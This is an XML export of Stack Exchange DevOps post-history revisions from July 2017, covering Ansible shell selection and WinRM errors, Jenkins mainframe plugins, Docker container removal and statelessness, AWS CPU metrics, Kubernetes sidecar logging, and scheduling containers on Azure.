  <row Id="5146" PostHistoryTypeId="5" PostId="1610" RevisionGUID="30d1250d-a1f9-44c7-943e-08b8aecb2409" CreationDate="2017-07-28T06:49:55.197" UserId="519" Comment="link to Ubuntu &quot;dash as /bin/sh&quot; page" Text="_(1) Which shell does Ansible use?_&#xD;&#xA;&#xD;&#xA;Ansible uses `/bin/sh` by default. On many *nix systems including RHEL / CentOS, `/bin/sh` is `bash` - however, [on Ubuntu/Debian it's `dash`](https://wiki.ubuntu.com/DashAsBinSh) which is much more basic.&#xD;&#xA;&#xD;&#xA;### Making Ansible use bash&#xD;&#xA;&#xD;&#xA;It should be possible to change this with a config option [in ansible.cfg](http://docs.ansible.com/ansible/latest/intro_configuration.html#executable) and possibly also setting [ansible_shell_type](http://docs.ansible.com/ansible/latest/intro_inventory.html) in the inventory. &#xD;&#xA; &#xD;&#xA;But in practice I've found (on Ansible 2.2.2 and higher) that this doesn't work - not sure if it's my setup or a bug.&#xD;&#xA;&#xD;&#xA;A workaround that doesn't require config changes, but does mean a bit more code per task, is to write this:&#xD;&#xA;&#xD;&#xA;    - shell:&#xD;&#xA;        echo hello from $0&#xD;&#xA;      args:&#xD;&#xA;        executable: /bin/bash&#xD;&#xA;&#xD;&#xA;This should say `hello from /bin/bash`, indicating the shell is correct.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5147" PostHistoryTypeId="5" PostId="1610" RevisionGUID="7f8c3172-d27b-4091-85f1-5c7a683e533c" CreationDate="2017-07-28T07:08:52.970" UserId="519" Comment="clarification and link to related bash solutions" Text="_(1) Which shell does Ansible use?_&#xD;&#xA;&#xD;&#xA;Ansible uses `/bin/sh` by default. On many *nix systems including RHEL / CentOS, `/bin/sh` is `bash` - however, [on Ubuntu/Debian it's `dash`](https://wiki.ubuntu.com/DashAsBinSh) which is much more basic.&#xD;&#xA;&#xD;&#xA;### Making Ansible use bash&#xD;&#xA;&#xD;&#xA;It should be possible to change this with the `executable = /bin/bash` config option [in ansible.cfg](http://docs.ansible.com/ansible/latest/intro_configuration.html#executable) and possibly also setting [ansible_shell_type](http://docs.ansible.com/ansible/latest/intro_inventory.html) in the inventory. &#xD;&#xA; &#xD;&#xA;But in practice (on Ansible 2.2.2 and higher) I and [others](https://github.com/ansible/ansible/issues/1238#issuecomment-200362771) have found that setting `executable` in `ansible.cfg` doesn't work.&#xD;&#xA;&#xD;&#xA;An approach that works well, but does mean a bit more code per task, is to write this:&#xD;&#xA;&#xD;&#xA;    - shell:&#xD;&#xA;        echo hello from $0&#xD;&#xA;      args:&#xD;&#xA;        executable: /bin/bash&#xD;&#xA;&#xD;&#xA;This should say `hello from /bin/bash`, indicating the shell is correct.&#xD;&#xA;&#xD;&#xA;If you need to use `rvm`, `rbenv`, `pyenv` or similar tools that need sourcing of `~/.bashrc`, you will need to [use a wrapper script](https://github.com/ansible/ansible/issues/1238#issuecomment-57797275) or [invoke bash within the shell task](https://github.com/ansible/ansible/issues/4854#issuecomment-182582413).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5148" PostHistoryTypeId="5" PostId="1610" RevisionGUID="fdaea194-6a6a-4f20-b8ec-6180e3d31a77" CreationDate="2017-07-28T07:20:52.457" UserId="519" Comment="added 34 characters in body" Text="_(1) Which shell does Ansible use?_&#xD;&#xA;&#xD;&#xA;Ansible uses `/bin/sh` by default. On many *nix systems including RHEL / CentOS, `/bin/sh` is `bash` - however, [on Ubuntu/Debian it's `dash`](https://wiki.ubuntu.com/DashAsBinSh) which is much more basic.&#xD;&#xA;&#xD;&#xA;### Making Ansible use bash&#xD;&#xA;&#xD;&#xA;It should be possible to change this with the `executable = /bin/bash` config option [in ansible.cfg](http://docs.ansible.com/ansible/latest/intro_configuration.html#executable) and possibly also setting [ansible_shell_type](http://docs.ansible.com/ansible/latest/intro_inventory.html) in the inventory. &#xD;&#xA; &#xD;&#xA;But in practice (on Ansible 2.2.2 and higher) I and [others](https://github.com/ansible/ansible/issues/1238#issuecomment-200362771) have found that setting `executable` in `ansible.cfg` doesn't work (whether in `become` mode or not).&#xD;&#xA;&#xD;&#xA;An approach that works well, but does mean a bit more code per task, is to write this:&#xD;&#xA;&#xD;&#xA;    - shell:&#xD;&#xA;        echo hello from $0&#xD;&#xA;      args:&#xD;&#xA;        executable: /bin/bash&#xD;&#xA;&#xD;&#xA;This should say `hello from /bin/bash`, indicating the shell is correct.&#xD;&#xA;&#xD;&#xA;If you need to use `rvm`, `rbenv`, `pyenv` or similar tools that need sourcing of `~/.bashrc`, you will need to [use a wrapper script](https://github.com/ansible/ansible/issues/1238#issuecomment-57797275) or [invoke bash within the shell task](https://github.com/ansible/ansible/issues/4854#issuecomment-182582413).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5149" PostHistoryTypeId="5" PostId="1610" RevisionGUID="90c14f67-2dd4-4ce5-92ac-17c7ffbda269" CreationDate="2017-07-28T07:31:06.933" UserId="519" Comment="link for rbenv setup to illustrate issue" Text="_(1) Which shell does Ansible use?_&#xD;&#xA;&#xD;&#xA;Ansible uses `/bin/sh` by default. On many *nix systems including RHEL / CentOS, `/bin/sh` is `bash` - however, [on Ubuntu/Debian it's `dash`](https://wiki.ubuntu.com/DashAsBinSh) which is much more basic.&#xD;&#xA;&#xD;&#xA;### Making Ansible use bash&#xD;&#xA;&#xD;&#xA;It should be possible to change this with the `executable = /bin/bash` config option [in ansible.cfg](http://docs.ansible.com/ansible/latest/intro_configuration.html#executable) and possibly also setting [ansible_shell_type](http://docs.ansible.com/ansible/latest/intro_inventory.html) in the inventory. &#xD;&#xA; &#xD;&#xA;But in practice (on Ansible 2.2.2 and higher) I and [others](https://github.com/ansible/ansible/issues/1238#issuecomment-200362771) have found that setting `executable` in `ansible.cfg` doesn't work (whether in `become` mode or not).&#xD;&#xA;&#xD;&#xA;An approach that works well, but does mean a bit more code per task, is to write this:&#xD;&#xA;&#xD;&#xA;    - shell:&#xD;&#xA;        echo hello from $0&#xD;&#xA;      args:&#xD;&#xA;        executable: /bin/bash&#xD;&#xA;&#xD;&#xA;This should say `hello from /bin/bash`, indicating the shell is correct.&#xD;&#xA;&#xD;&#xA;If you need to use `rvm`, `rbenv`, `pyenv` or similar tools that [require](https://github.com/rbenv/rbenv#installation) a previous `source ~/.bash_profile` (as with an interactive shell), you will need to [use a wrapper script](https://github.com/ansible/ansible/issues/1238#issuecomment-57797275) or [invoke bash within the shell task](https://github.com/ansible/ansible/issues/4854#issuecomment-182582413).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5150" PostHistoryTypeId="2" PostId="1615" RevisionGUID="9918927d-7adc-4c38-9936-fe168d256f11" CreationDate="2017-07-28T07:52:50.710" UserId="519" Text="You should probably create an Ansible issue for this as it's most likely a bug in Ansible.&#xD;&#xA;&#xD;&#xA;The first error makes me think about WinRM pipelining:&#xD;&#xA;&#xD;&#xA;- Ansible 2.3.0 introduced an always-on WinRM pipelining feature (similar to [SSH pipelining](http://docs.ansible.com/ansible/latest/intro_configuration.html#pipelining)), and that may be behind this.  &#xD;&#xA;- SSH pipelining can cause issues in Ansible for Linux, and it can be useful to turn it off, but this isn't yet possible for WinRM pipelining.&#xD;&#xA;&#xD;&#xA;This [related issue](https://github.com/ansible/ansible/pull/25012) includes some Git commits that will re-enable 'non-pipelined' mode in a future release (will be in 2.4, possibly with a backport as part of 2.3.2 - see [this comment](https://github.com/hashicorp/packer/issues/4904#issuecomment-317185655))&#xD;&#xA;&#xD;&#xA;Until those releases are out, try downgrading to Ansible 2.2.3 to see if this helps - this will disable WinRM pipelining and may avoid other regression bugs in this area.&#xD;&#xA;&#xD;&#xA;- If you installed Ansible using `pip`, you can do `pip install ansible==2.2.3` to downgrade, then if that doesn't help do the same with `2.3.1` to upgrade again." ContentLicense="CC BY-SA 3.0" />
  <row Id="5151" PostHistoryTypeId="5" PostId="1105" RevisionGUID="317884f4-2d81-458b-ba35-fb6a154980c7" CreationDate="2017-07-28T08:04:18.363" UserId="519" Comment="reduced horizontal scrolling of 2nd error, minor reformatting" Text="I'm running into some on and off issues when using windows hosts in my ansible playbooks. I'm running Ansible 2.3 with pywinrm 0.2.2 installed. I'm using basic authentication with the local Administrator user. &#xD;&#xA;&#xD;&#xA;Sometimes I receive this issue when I run a task:&#xD;&#xA;&#xD;&#xA;     [WARNING]: FATAL ERROR DURING FILE TRANSFER: Traceback (most recent call last):&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/ansible/plugins/connection/winrm.py&quot;, line 267, in _winrm_exec&#xD;&#xA;      self._winrm_send_input(self.protocol, self.shell_id, command_id, data, eof=is_last)&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/ansible/plugins/connection/winrm.py&quot;, line 248, in _winrm_send_input&#xD;&#xA;      protocol.send_message(xmltodict.unparse(rq))&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/winrm/protocol.py&quot;, line 207, in send_message&#xD;&#xA;       return self.transport.send_message(message)&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/winrm/transport.py&quot;, line 191, in send_message&#xD;&#xA;       raise WinRMTransportError('http', error_message) WinRMTransportError: (u'http', u'Bad HTTP response returned from server. Code 500')&#xD;&#xA;&#xD;&#xA;Other times, when I try to run a `win_shell/win_command/raw module` and `with_items` on a group of windows hosts it seems to fail on temporary files created by Ansible.&#xD;&#xA;&#xD;&#xA;The task I'm trying to run is:&#xD;&#xA;&#xD;&#xA;    - name: Check services up&#xD;&#xA;      win_command: 'sc queryex {{ item }} | Findstr RUNNING'&#xD;&#xA;      with_items: '{{ component_services }}'&#xD;&#xA;      register: command_result&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;&#xD;&#xA;And the error I may get is:&#xD;&#xA;&#xD;&#xA;    changed: [172.16.104.169] =&gt; (item=Dnscache)&#xD;&#xA;    failed: [172.16.104.176] (item=Dnscache) =&gt; {&quot;failed&quot;: true, &quot;item&quot;: &quot;Dnscache&quot;, &#xD;&#xA;      &quot;module_stderr&quot;: &quot;Exception calling \&quot;Run\&quot; with \&quot;1\&quot; argument(s): \&quot;Exception calling \&quot;Invoke\&quot; with \r\n\&quot;0\&quot; &#xD;&#xA;         argument(s): \&quot;The running command stopped because &#xD;&#xA;               the preference variable \r\n\&quot;ErrorActionPreference\&quot; &#xD;&#xA;               or common parameter is set to &#xD;&#xA;       Stop: (0) : cannot open \r\nC:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RESB3FF.tmp &#xD;&#xA;      for writing\r\n(1) : &#xD;&#xA;         using System;\r\n\&quot;\&quot;\r\nAt line:45 char:1\r\n+ &#xD;&#xA;         $output = $entrypoint.Run($payload)\r\n+ &#xD;&#xA;          ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+ &#xD;&#xA;      CategoryInfo          : NotSpecified: (:) [], ParentContainsErrorRecordE \r\nxception\r\n+ &#xD;&#xA;      FullyQualifiedErrorId : ScriptMethodRuntimeException\r\n&quot;, &#xD;&#xA;      &quot;module_stdout&quot;: &quot;&quot;, &quot;msg&quot;: &quot;MODULE FAILURE&quot;, &quot;rc&quot;: 1}&#xD;&#xA;         changed: [172.16.104.141] =&gt; (item=Dnscache)&#xD;&#xA;         changed: [172.16.104.168] =&gt; (item=Dnscache)&#xD;&#xA;         changed: [172.16.104.145] =&gt; (item=Dnscache)&#xD;&#xA;&#xD;&#xA;Both issues are absolutely random and may even not appear at all over a sequence of different runs.&#xD;&#xA;&#xD;&#xA;Assistance would be greatly appreciated!" ContentLicense="CC BY-SA 3.0" />
  <row Id="5152" PostHistoryTypeId="4" PostId="1105" RevisionGUID="317884f4-2d81-458b-ba35-fb6a154980c7" CreationDate="2017-07-28T08:04:18.363" UserId="519" Comment="reduced horizontal scrolling of 2nd error, minor reformatting" Text="Ansible sporadic errors with Windows machines" ContentLicense="CC BY-SA 3.0" />
  <row Id="5153" PostHistoryTypeId="6" PostId="1105" RevisionGUID="317884f4-2d81-458b-ba35-fb6a154980c7" CreationDate="2017-07-28T08:04:18.363" UserId="519" Comment="reduced horizontal scrolling of 2nd error, minor reformatting" Text="&lt;ansible&gt;&lt;windows&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5154" PostHistoryTypeId="24" PostId="1105" RevisionGUID="317884f4-2d81-458b-ba35-fb6a154980c7" CreationDate="2017-07-28T08:04:18.363" Comment="Proposed by 519 approved by -1 edit id of 383" ContentLicense="CC BY-SA 3.0" />
  <row Id="5155" PostHistoryTypeId="5" PostId="1105" RevisionGUID="6f77ecf5-cc15-4aa3-a024-9bc91e7f1243" CreationDate="2017-07-28T08:04:18.363" UserId="40" Comment="Remove noise, fix typos" Text="I'm running into some on and off issues when using windows hosts in my Ansible playbooks. I'm running Ansible 2.3 with pywinrm 0.2.2 installed. I'm using basic authentication with the local Administrator user. &#xD;&#xA;&#xD;&#xA;Sometimes I receive this issue when I run a task:&#xD;&#xA;&#xD;&#xA;     [WARNING]: FATAL ERROR DURING FILE TRANSFER: Traceback (most recent call last):&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/ansible/plugins/connection/winrm.py&quot;, line 267, in _winrm_exec&#xD;&#xA;      self._winrm_send_input(self.protocol, self.shell_id, command_id, data, eof=is_last)&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/ansible/plugins/connection/winrm.py&quot;, line 248, in _winrm_send_input&#xD;&#xA;      protocol.send_message(xmltodict.unparse(rq))&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/winrm/protocol.py&quot;, line 207, in send_message&#xD;&#xA;       return self.transport.send_message(message)&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/winrm/transport.py&quot;, line 191, in send_message&#xD;&#xA;       raise WinRMTransportError('http', error_message) WinRMTransportError: (u'http', u'Bad HTTP response returned from server. Code 500')&#xD;&#xA;&#xD;&#xA;Other times, when I try to run a `win_shell/win_command/raw module` and `with_items` on a group of windows hosts it seems to fail on temporary files created by Ansible.&#xD;&#xA;&#xD;&#xA;The task I'm trying to run is:&#xD;&#xA;&#xD;&#xA;    - name: Check services up&#xD;&#xA;      win_command: 'sc queryex {{ item }} | Findstr RUNNING'&#xD;&#xA;      with_items: '{{ component_services }}'&#xD;&#xA;      register: command_result&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;&#xD;&#xA;And the error I may get is:&#xD;&#xA;&#xD;&#xA;    changed: [172.16.104.169] =&gt; (item=Dnscache)&#xD;&#xA;    failed: [172.16.104.176] (item=Dnscache) =&gt; {&quot;failed&quot;: true, &quot;item&quot;: &quot;Dnscache&quot;, &#xD;&#xA;      &quot;module_stderr&quot;: &quot;Exception calling \&quot;Run\&quot; with \&quot;1\&quot; argument(s): \&quot;Exception calling \&quot;Invoke\&quot; with \r\n\&quot;0\&quot; &#xD;&#xA;         argument(s): \&quot;The running command stopped because &#xD;&#xA;               the preference variable \r\n\&quot;ErrorActionPreference\&quot; &#xD;&#xA;               or common parameter is set to &#xD;&#xA;       Stop: (0) : cannot open \r\nC:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RESB3FF.tmp &#xD;&#xA;      for writing\r\n(1) : &#xD;&#xA;         using System;\r\n\&quot;\&quot;\r\nAt line:45 char:1\r\n+ &#xD;&#xA;         $output = $entrypoint.Run($payload)\r\n+ &#xD;&#xA;          ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+ &#xD;&#xA;      CategoryInfo          : NotSpecified: (:) [], ParentContainsErrorRecordE \r\nxception\r\n+ &#xD;&#xA;      FullyQualifiedErrorId : ScriptMethodRuntimeException\r\n&quot;, &#xD;&#xA;      &quot;module_stdout&quot;: &quot;&quot;, &quot;msg&quot;: &quot;MODULE FAILURE&quot;, &quot;rc&quot;: 1}&#xD;&#xA;         changed: [172.16.104.141] =&gt; (item=Dnscache)&#xD;&#xA;         changed: [172.16.104.168] =&gt; (item=Dnscache)&#xD;&#xA;         changed: [172.16.104.145] =&gt; (item=Dnscache)&#xD;&#xA;&#xD;&#xA;Both issues are absolutely random and may even not appear at all over a sequence of different runs.&#xD;&#xA;&#xD;&#xA;Any assistance?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5156" PostHistoryTypeId="5" PostId="292" RevisionGUID="db5eb61f-a509-48bc-ad85-00e611b5ebe2" CreationDate="2017-07-28T09:04:52.763" UserId="519" Comment="link to explain what a PDS is" Text="Assume somebody familiar with DevOps and mainframes, but new to [Jenkins][1], wants to get started with Jenkins, e.g. to:&#xD;&#xA;&#xD;&#xA;- investigate the feasibility of managing data stored in personal files (PDSes, i.e. [partitioned data sets](https://en.wikipedia.org/wiki/Data_set_(IBM_mainframe)#Partitioned_data_sets)) on the mainframe (so not, yet, managed by any of the typical [SCM solutions exist for managing mainframe software][2]).&#xD;&#xA;- to run Jenkins in some type of personal development environment, e.g. in a Linux environment in Virtual Box (if that would make sense).&#xD;&#xA;&#xD;&#xA;After some kind of (minimal) Jenkins [installation][3] and [configuration][4] got completed, the actual question becomes &quot;**`Which of the typical Jenkins plugins, if any, would be needed?`**&quot;. From the various Jenkins plugins that appear to make sense in my case, it seems that these are possible candidates (quotes are from the linked pages):&#xD;&#xA;&#xD;&#xA;- [IBM zOS Connector][5].&#xD;&#xA;&#xD;&#xA;  &gt; ... provides its functions via FTP connection to IBM z/OS LPAR. You can configure your SCLM project on z/OS and then check for the changes via Jenkins.&#xD;&#xA;&#xD;&#xA;  &gt; Features include:&#xD;&#xA;&#xD;&#xA;  &gt; - Submission of user JCL job (with optional log collected upon finish).&#xD;&#xA;  &gt; - Introduction of SCLM as SCM for your projects allowing to checkout SCLM changes.&#xD;&#xA;  &gt; - The ability to build SCLM projects currently can be performed only via 'Submit zOS Job' build action.&#xD;&#xA;&#xD;&#xA;- [Compuware Source Code Download for Endevor, PDS, and ISPW Plugin][6].&#xD;&#xA;&#xD;&#xA;  &gt; ... allows Jenkins users to download Endevor, PDS, or ISPW members from the mainframe to the PC. Source can then be accessed on the PC, for example, for SonarQube analysis and reporting.&#xD;&#xA;&#xD;&#xA;Since the 1st plugin is about SCLM (which is all about PDSes), and the 2nd plugin explicitly states support for PDSes (in its name), I trust both are possible candidates. &#xD;&#xA;&#xD;&#xA;So assuming my shortlist is complete (is it?), what are the pros and cons of either one that should help me decide which one is best for my case?&#xD;&#xA;&#xD;&#xA;Ps: Something like a &quot;Jenkins Kickstart&quot; package doesn't seem to exist (at least I've not found it yet).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/273/which-scm-solutions-exist-for-managing-mainframe-software/275#275&#xD;&#xA;  [3]: https://www.tutorialspoint.com/jenkins/jenkins_installation.htm&#xD;&#xA;  [4]: https://www.tutorialspoint.com/jenkins/jenkins_configuration.htm&#xD;&#xA;  [5]: https://wiki.jenkins-ci.org/display/JENKINS/IBM+zOS+Connector&#xD;&#xA;  [6]: https://wiki.jenkins-ci.org/display/JENKINS/Compuware+Source+Code+Download+for+Endevor%2C+PDS%2C+and+ISPW+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="5157" PostHistoryTypeId="24" PostId="292" RevisionGUID="db5eb61f-a509-48bc-ad85-00e611b5ebe2" CreationDate="2017-07-28T09:04:52.763" Comment="Proposed by 519 approved by 14, 40 edit id of 385" ContentLicense="CC BY-SA 3.0" />
  <row Id="5158" PostHistoryTypeId="5" PostId="1499" RevisionGUID="4e9bc9fb-8229-4088-b965-5d8ceef6d9b0" CreationDate="2017-07-28T09:05:18.747" UserId="519" Comment="fixed grammar and improved wording" Text="I'm using ubuntu-16.04 desktop and installed `Docker-1.5-1` and `docker-engine-17.05.0~ce-0~ubuntu-xenial`, in which I installed `openmedicus/phplist`. My aim is to remove the container, and the image as well.&#xD;&#xA;&#xD;&#xA;The issue is that the container is removed successfully but after some time the container is automatically created with a different container ID. &#xD;&#xA;&#xD;&#xA;I even tried to remove images also but faced the same issue.&#xD;&#xA;&#xD;&#xA;Trying to remove images:&#xD;&#xA;&#xD;&#xA;    $ docker images | grep phplist&#xD;&#xA;    openmedicus/phplist             latest              24d3de5279cb        4 months ago        694MB&#xD;&#xA; &#xD;&#xA;    $ docker rmi openmedicus/phplist:latest --force&#xD;&#xA;    Untagged: openmedicus/phplist:latest&#xD;&#xA;    Untagged: penmedicus/phplist@sha256:6ac98b2f624eb8cd61b64c4b398650975a876224d5925175c58ff0c1b05a2593&#xD;&#xA;&#xD;&#xA;    $ docker images | grep phplist    ## Delete Sucessfully&#xD;&#xA;&#xD;&#xA;Now trying to remove container :&#xD;&#xA;&#xD;&#xA;    $ docker ps&#xD;&#xA;    b02b641560e8        24d3de5279cb             &quot;/bin/sh -c /usr/s...&quot;   2 minutes ago       Up 2 minutes        0.0.0.0:8080-&gt;80/tcp                                 &#xD;&#xA;    $ docker stop b02b641560e8&#xD;&#xA;    b02b641560e8&#xD;&#xA;&#xD;&#xA;    $ docker rm b02b641560e8 --force   # Remove Sucessfully&#xD;&#xA;    b02b641560e8&#xD;&#xA;&#xD;&#xA;Again, the container is created automatically :&#xD;&#xA;&#xD;&#xA;    $ docker ps&#xD;&#xA;    2c78199dc40c        openmedicus/phplist      &quot;/bin/sh -c /usr/s...&quot;   29 seconds ago      Up 28 seconds       0.0.0.0:8080-&gt;80/tcp                                 phplist&#xD;&#xA;&#xD;&#xA;How can I remove the Docker container and image permanently?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5159" PostHistoryTypeId="4" PostId="1499" RevisionGUID="4e9bc9fb-8229-4088-b965-5d8ceef6d9b0" CreationDate="2017-07-28T09:05:18.747" UserId="519" Comment="fixed grammar and improved wording" Text="After removing Docker container, why is it automatically re-created?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5160" PostHistoryTypeId="24" PostId="1499" RevisionGUID="4e9bc9fb-8229-4088-b965-5d8ceef6d9b0" CreationDate="2017-07-28T09:05:18.747" Comment="Proposed by 519 approved by 14, 40 edit id of 384" ContentLicense="CC BY-SA 3.0" />
  <row Id="5161" PostHistoryTypeId="50" PostId="1255" RevisionGUID="5443df9e-9a43-499d-a690-e88d85c940d7" CreationDate="2017-07-28T09:26:53.563" UserId="-1" />
  <row Id="5162" PostHistoryTypeId="2" PostId="1616" RevisionGUID="d678d307-12b1-4d8a-b763-fd92605ada6c" CreationDate="2017-07-28T11:51:25.030" UserId="3178" Text="I can answer the 2nd point:&#xD;&#xA;&#xD;&#xA;Docker is most suited in a micro service based architecture when the application runs inside the containers but the storage or any other live sessions are maintained in shared RAM or the database. &#xD;&#xA;Basically you just should not store anything inside the docker container. There are many reasons to it:&#xD;&#xA;1. Consider upgrade: Someone from your team has created a newer image of the application and you need the container running with the latest image. The current docker and popular way of doing this is to bring the existing container down and spin a new container with the same run time parameters as the older container but with the newer image. This is one of the biggest reasons why containers should always be stateless and not contain any data. You can have all your data mounted to some place and sessions kept inside a db or something like memchached etc.&#xD;&#xA;2. One of the big use case of docker is to build clusters. If you start keeping data inside your containers then its an overhead to maintain that data in sync between the application containers.&#xD;&#xA;3. The docker community in general does not recommend to keep any data in container and hence nobody has tried taking this risk in production and nobody wants to be the first storyteller of how they messed up production :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="5163" PostHistoryTypeId="2" PostId="1617" RevisionGUID="a53f9be4-b8c0-4def-b4af-54c8421f517b" CreationDate="2017-07-28T12:11:56.537" UserId="3178" Text="Multiple things here:&#xD;&#xA;&#xD;&#xA;1. Youre on AWS ec2, hence whatever you are doing on your instance for measuring CPU is calculating CPU on hypervisor level and not instance level. To very this run any load test and check iostat -ct 1 and CPU usage in cloudwatch. CPU usage in cloudwatch is always 10-20% greater than what iostat will report and that is because iostat will give CPU usage on hypervisor level.&#xD;&#xA;&#xD;&#xA;2. As docker to see how kubernetes and docker metrics compare i suggest to run the containers with --cpuset=1 or any number to allow all containers to use only a single vCPU.&#xD;&#xA;&#xD;&#xA;3. Also in AWS 1 CPU= 2vcpu. It is hyperthreaded to 2. You can maybe take this into consideration while calculating.&#xD;&#xA;&#xD;&#xA;4. Finally the best metric to use to see CPU usage for a particular application is using htop and correlating with your cloudwatch metrics.&#xD;&#xA;&#xD;&#xA;5. I have also observed sometimes docker daemon pinning itself to one of the virtual CPUs and hence when you are reducing it to 1000m, maybe the whole setup is getting slow because the reduction is happening on any one of the vpcus. You can use mpstat to get into details of this. &#xD;&#xA;&#xD;&#xA;6. Lastly on the host level you can pin docker to a single CPU and observe more.&#xD;&#xA;&#xD;&#xA;Hope this brings you somewhat closer. Update me if you have already found a solution." ContentLicense="CC BY-SA 3.0" />
  <row Id="5164" PostHistoryTypeId="2" PostId="1618" RevisionGUID="214ffd75-21a3-46eb-8878-c28ae4613356" CreationDate="2017-07-28T12:24:51.660" UserId="3178" Text="Give your delivery via ansible scripts. Keep all sort of restrictions and checks in the ansible script. " ContentLicense="CC BY-SA 3.0" />
  <row Id="5165" PostHistoryTypeId="2" PostId="1619" RevisionGUID="4ef86f74-0ef8-40dd-a06c-241246eeb8a2" CreationDate="2017-07-28T13:51:02.783" UserId="3697" Text="I'm still looking for a merging/splitting approach myself, but meanwhile this approach recommended by Kubernetes documentation seems like a sound solution: [Use a sidecar container for each of your separate logs][1].&#xD;&#xA;&#xD;&#xA;A &quot;sidecar&quot; is any docker container that you use alongside another docker container to work with it in some way. In this case for each of your three logs you would have a separate container that scans or tails the logs and outputs to stdout. &#xD;&#xA;&#xD;&#xA;This way each of your log-sidecar-containers has its own docker-log from its own stdout. Being separate like this, you can use standard docker (and kubernetes, etc) practices for separating or aggregating. Here's what the Kubernetes page has to say:&#xD;&#xA;&#xD;&#xA;&gt; This approach allows you to separate several log streams from different parts of your application, some of which can lack support for writing to stdout or stderr. The logic behind redirecting logs is minimal, so it’s hardly a significant overhead. Additionally, because stdout and stderr are handled by the kubelet, you can use built-in tools like kubectl logs.&#xD;&#xA;&#xD;&#xA;The &quot;separate log streams&quot; stem from the built-in tagging that docker applies to logs from different containers, described in the [docker documentation here:][2]&#xD;&#xA;&#xD;&#xA;&gt; The tag log option specifies how to format a tag that identifies the&#xD;&#xA;&gt; container’s log messages. By default, the system uses the first 12&#xD;&#xA;&gt; characters of the container id. To override this behavior, specify a&#xD;&#xA;&gt; tag option&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/cluster-administration/logging/&#xD;&#xA;  [2]: https://docs.docker.com/engine/admin/logging/log_tags/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5166" PostHistoryTypeId="2" PostId="1620" RevisionGUID="041e263c-c9fc-4bb3-bbc3-81a5add9697b" CreationDate="2017-07-28T15:21:19.640" UserId="3701" Text="I have a fairly simple Unix shell script packaged up in an Alpine Linux Docker container hosted on an Azure container registry. A VM runs this script with cron:&#xD;&#xA;&#xD;&#xA;    docker login &lt;snip&gt;&#xD;&#xA;    docker pull example.com/bar:latest&#xD;&#xA;    docker run  example.com/bar:latest&#xD;&#xA;&#xD;&#xA;Can I do without the VM and use Azure services instead, perhaps with some sort of scheduler running this on an Azure Container Instance?&#xD;&#xA;&#xD;&#xA;My motivation is not wanting to maintain and pay for the VM." ContentLicense="CC BY-SA 3.0" />
  <row Id="5167" PostHistoryTypeId="1" PostId="1620" RevisionGUID="041e263c-c9fc-4bb3-bbc3-81a5add9697b" CreationDate="2017-07-28T15:21:19.640" UserId="3701" Text="On Azure, how do I run a short-lived Docker container on a schedule?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5168" PostHistoryTypeId="3" PostId="1620" RevisionGUID="041e263c-c9fc-4bb3-bbc3-81a5add9697b" CreationDate="2017-07-28T15:21:19.640" UserId="3701" Text="&lt;docker&gt;&lt;containers&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5169" PostHistoryTypeId="2" PostId="1621" RevisionGUID="27853185-588d-44f4-a7c0-4ed4f89e99b1" CreationDate="2017-07-28T17:02:45.310" UserId="3510" Text="For an alternative approach, I would investigate Azure functions:&#xD;&#xA;&#xD;&#xA;- https://docs.microsoft.com/en-us/azure/azure-functions/functions-overview&#xD;&#xA;- https://docs.microsoft.com/en-us/azure/azure-functions/functions-create-scheduled-function&#xD;&#xA;&#xD;&#xA;No VM continually running." ContentLicense="CC BY-SA 3.0" />
  <row Id="5170" PostHistoryTypeId="5" PostId="1616" RevisionGUID="7dd79b81-a376-4f86-b838-bba18434e273" CreationDate="2017-07-28T18:26:49.187" UserId="47" Comment="improved readability" Text="I can answer the 2nd point:&#xD;&#xA;&#xD;&#xA;Docker is most suited in a micro service based architecture when the application runs inside the containers but the storage or any other live sessions are maintained in shared RAM or the database. &#xD;&#xA;&#xD;&#xA;Basically you just should not store anything inside the docker container. There are many reasons to it:&#xD;&#xA;&#xD;&#xA;1. Consider upgrade: Someone from your team has created a newer image of the application and you need the container running with the latest image. The current docker and popular way of doing this is to bring the existing container down and spin a new container with the same run time parameters as the older container but with the newer image. This is one of the biggest reasons why containers should always be stateless and not contain any data. You can have all your data mounted to some place and sessions kept inside a db or something like memchached etc.&#xD;&#xA;&#xD;&#xA;2. One of the big use case of docker is to build clusters. If you start keeping data inside your containers then its an overhead to maintain that data in sync between the application containers.&#xD;&#xA;&#xD;&#xA;3. The docker community in general does not recommend to keep any data in container and hence nobody has tried taking this risk in production and nobody wants to be the first storyteller of how they messed up production :)" ContentLicense="CC BY-SA 3.0" />
